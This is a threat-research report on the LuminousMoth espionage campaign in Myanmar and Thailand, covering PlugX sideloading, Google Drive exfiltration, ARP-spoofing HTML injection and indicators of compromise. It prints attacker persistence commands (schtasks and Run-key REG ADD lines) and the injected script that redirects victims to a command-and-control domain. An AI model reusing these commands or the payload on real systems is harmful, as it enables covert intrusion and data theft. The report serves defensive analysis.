LuminousMoth – PlugX, File Exfiltration and Persistence Revisited
A few months ago, Bitdefender researchers started to investigate an extended operation that targeted victims from Myanmar and Thailand for what looked like cyber espionage and intelligence gathering.
Many aspects of this operation were recently comprehensively described in this article by the Kaspersky team, but we decided to present our perspective on the operation and offer other IOCs we spotted.
The investigation started with our usual triage process where we observed suspicious activity of two processes;
C:\ProgramData\Msolutions\svmetrics.exe. As a result, we were able to identify an infection vector and we collected the tools and TTPs specific to this operation.
We analyzed the chain of events and traced the start of the infection on some victims to the file
C:\Users\<user>\Downloads\COVID-19 Case 12-11-2020(MOTC)\COVID-19 Case 12-11-2020(1).exe, the creation of which corresponds to 2020-11-12 08:21. This file is a legitimate WinWord.exe executable vulnerable to sideloading.
The actions on behalf of this
COVID-19 Case 12-11-2020(1).exe we were able to reconstruct are:
- It copies itself as
- It installs persistence by creating the “Microsof” key value under the Run registry assigning the
- It starts communicating with the CobaltStrike C&C
More details on tools and TTPs can be found in the sections below.
- Previously-unreported payload in the form of the well-known Remote Access Tool PlugX
- Data exfiltration carried through Google Drive
- More tools used for data collection
- the attackers perform HTML code injection using ARP spoofing to redirect the victim to a page hosted by the threat actor
- Extra findings suggesting that LuminousMoth is connecting to Mustang Panda
- Some more examples of binaries vulnerable to sideloading used in this attack
- Some more examples of persistence mechanisms
- More IOCs associated with this operation
Fmtoptions.dll and Plugx
We were able to link the
C:\ProgramData\Msolutions\svmetrics.exe process with the
C:\Users\Public\Music\WinWord.exe, and with the current operation, as we have evidence that svmetrics.exe executed more than once the
C:\Users\Public\Music\WinWord.exe file, the one that was initially copied by the
COVID-19 Case 12-11-2020(1).exe alongside the malicious wwlib.dll.
The svmetrics.exe (InternalName from version info:
fmtoptions.exe) is vulnerable to sideloading and is abused to load
Analyzing the malicious Fmtoptions.dll file, we established that they read the content of a
walk.dat file and decrypt the shellcode that is, subsequently, executed. The shellcode is responsible for decompressing and loading the final payload, the PlugX implant, that represents a DLL with the damaged MZ and PE magic values. More details on the recovered payloads are presented in the following table:
It’s worth noting that all tools and commands mentioned in the following sections are executed by the svmetrics.exe process that hosts the PlugX implant.
During our research, we noticed the execution of the
C:\Users\Public\Downloads\unsecapp.exe, a legitimate
ESET EHttpSrv.exe file that is abused to load
http_dll.dll. The sample of
http_dll.dll we identified implements the file collection feature.
After loading the malicious DLL file, the ini file
C:\Users\Public\Downloads\BITS.ini is parsed using
GetPrivateProfileStringW to obtain three parameters, as follows:
An integer that indicates the maximum of days after the creation time of the file. If that limit is exceeded for a file, it will not be collected. The default value is 60.
An integer that the maximum of days after the last write time of the file. If that limit is exceeded for a file, it will not be collected. The default value is 60.
The username targeted for exfiltration. It will recursively list folders under the C:\Users\<username>\.
The malware, then, creates a folder using the current time and the format string
“%Y-%m-%d %H-%M-%S” in the
“C:\Users\Public\Downloads\” where all files will be staged. It starts scanning for files in the folders Documents, Desktop and Downloads belonging to the specified user in the “FLIN” string. It also scans for files on all drives except the
C:\ drive and all CDROM ones.
Another technical detail worthy of note is the mechanism used to ensure that all files are unique in the staging folder. The MD5 hash for each file is calculated and it is checked if the hash is not contained in a vector with all previous hashes. If not, it will be stored in the vector and will be written into the
C:\Users\Public\Downloads\Background-Intelligent-Transfer-Service.bin file as a hex string. Each time the DLL is executed, the content of the file with MD5 hashes is parsed and the vector of hashes is populated. The targeted files are those with the following extensions:
.doc, .docx, .pdf, .xlsx, .exe
A noteworthy turn took place on 2021-03-09 when the svmetrics.exe executed another interesting piece of malware –
ZoomVideoApp.exe implements the same collection function, but with more features, as it automatically archives the staging folder and exfiltrates the files to the C&C. The sample was analyzed in Kaspersky's blogpost.
There are many differences between the
ZoomVideoApp.exe, but both of these samples use an ini file for customizing the behavior, the common parameters by functionality being “meeting” and “ssb_sdk” as they are equivalent to the “CreateRAM” and “ModifyRAM”, respectively.
The deployment of the
ZoomVideoApp.exe can be interpreted as an update to the collection and exfiltration mechanism, as for the files collected by the http_dll.dll, the attackers were forced to manually archive and exfiltrate the files.
The attackers deployed another piece of malware to exfiltrate files, as we noticed the execution of a binary from an unusual location having an archive name and an authentication token as parameters from the command line. The files were put into an archive created using the rar.exe utility.
C:\Kpcms\Send1.exe was executed multiple times by the
svmetrics.exe. After analysis, we concluded that the sample uploads the files to Google Drive as it uses the endpoint
https://www.googleapis.com/upload/drive/v3/files?uploadType=media to perform a simple upload. According to the documentation of the endpoint, it is used for the transfer of files that are smaller than 5MB. To bypass this limitation, the attackers were forced to split the archive into multiple parts and upload each one as suggested by the archives names that we encounter.
This limitation was fixed into a new version of the tool as the attackers start to use another sample,
C:\ProgramData\Adobe\Send3.exe, for the same purpose. The major improvement of the tool was the use of a resumable upload mechanism to upload files bigger than 5MB. New command line parameters were introduced like the one for specifying the chunk size, which allows the uploading of the file by performing multiple HTTP PUT operations. There is also an option for resuming an upload by specifying the
UploadID and for checking if the upload was successful.
After the deploying ZoomVideoApp.exe, the tool wasn’t seen in use anymore, probably because of the exfiltration capabilities of the ZoomVideoApp.exe.
ArpSpoof and html injection
After finding that svmetrics.exe executed the
C:\ProgramData\Adobe\GetChromeCookies.exe on one victim, we took a closer look on files from the
C:\ProgramData\Adobe\ as it seems to be a location where the attackers staged many tools. As a result, we noticed the
Our analysis of this file found that the location path links to the attackers, and found many other details that will be mentioned below.
Thanks to the RTTI information, we established that the arpspoof.exe is actually a modified build of
https://github.com/sin5678/zxarps and it was customized to receive from command line an IP and a PORT and to inject a HTML code into the HTTP responses received from that
IP:PORT using the ARP spoofing and packet capturing using Winpcap. The particular HTML is hardcoded into the binary itself and is similar to:
<html><body><script>window.location.href="http://microsoft.updatecatalogs[.]com/Microsoft Update Catalog.htm"</script></body></html>
We analyzed the sample and compared it with the code from GitHub, and we noticed another custom modification in the
As can be seen from the image, the HTML will be injected only into the responses that have the 200-status code and don’t contain the strings
“184.108.40.206”, “content-google:” and “X-AspNet-Version: 4.0.30319\r\n”
The injected HTML intends to redirect the user to
http://microsoft.updatecatalogs.com/Microsoft Update Catalog.htm - a web page belonging to the attackers, as the domain
updatecatalogs.com is a known C&C for the Cobalt Strike beacon.
Another interesting thing is the
220.127.116.11 IP and the fact that the tool skips injection into the http responses from that IP, probably because that IP was part of the attacker’s infrastructure. Moreover, at the time of this writing, the domain
new.mmtimes.org is resolved to that IP and it is pretty similar to the
mmtimes.net found in the PlugX sample. The
mmtimes.org was already mentioned in the Kaspersky report as being used in earlier operations performed by Mustang Panda, and therefore, the arpspoof.exe, the malicious URL
http://microsoft.updatecatalogs[.]com/Microsoft Update Catalog.htm from the injected HTML code and the
18.104.22.168 IP address to which the domain
mmtimes.org resolves to, suggest that the LuminousMoth and Mustang Panda, are connected.
There are certainly more tools used by actors in this operation as, beside the fmtoptions.exe, WinWord.exe and igfxEM.EXE files vulnerable to sideloading, we found two other vulnerable binaries abused to load a malicious DLL file.
The first case we want to address is
C:\Users\Public\Music\VSTOInstaller.exe, which was executed by the same svmetrics.exe. This sample of Visual Studio Tools for Office Solution Installer loads the vstoloader.dll and the malicious DLL loaded this way is
C:\Users\Public\music\vstoloader.dll that extracts a shellcode from the
ret.bin file and executes it. Unfortunately, we weren’t able to obtain the
ret.bin file, so we don’t know what role the tool might have.
Being executed by the same svmetrics.exe process, the
C:\Intel\install\stay\AtlTraceTool8.exe is another legitimate binary abused by the attackers. The only thing we were able to establish about this binary is that it loads the malicious
C:\Intel\install\stay\1033\ AtlTraceToolUI.dll, but the file could not be obtained.
The data we gathered suggests at least two of the tools we encounter are setting up persistence:
We also spotted the persistence setup via the svmetrics.exe for a few tools:
schtasks.exe /create / / system / /tr C:\Intel\install\stay\AtlTraceTool8.exe" "-svc /F
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Zoom" /t REG_SZ /d "C:\Users\<username>\\Roaming\Zoom\ZoomVideoApp.exe" /F
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v /t REG_SZ /d "c:\Users\Public\Music\VSTOInstaller.exe" /F
Indicators of Compromise
Binaries exploited for sideloading
from office that loads wwlib.dll
FmtOptions.exe from Quest Software Inc.; loads fmtoptions.dll
ESET EHttpSrv.exe; loads http_dll.dll
Visual Studio Tools for Office Solution Installer; loads vstoloader.dll
Microsoft ATL Trace Tool; loads 1033\AtlTraceToolUI.dll
Files used by attackers
sample ([.]net C&C address)
sample ([.]net C&C address)
Beacon (103.15.28[.]195 C&C address)
Beacon (www.updatecatalogs[.]com C&C address)
URL used in injected HTML code
http://microsoft.updatecatalogs.com/Microsoft Update Catalog.htm
A Note from the Bitdefender Labs Team on Ransomware and Decryptors
May 26, 2021
New Nebulae Backdoor Linked with the NAIKON Group
April 28, 2021
Good riddance, GandCrab! We’re still fixing the mess you left behind.
June 17, 2019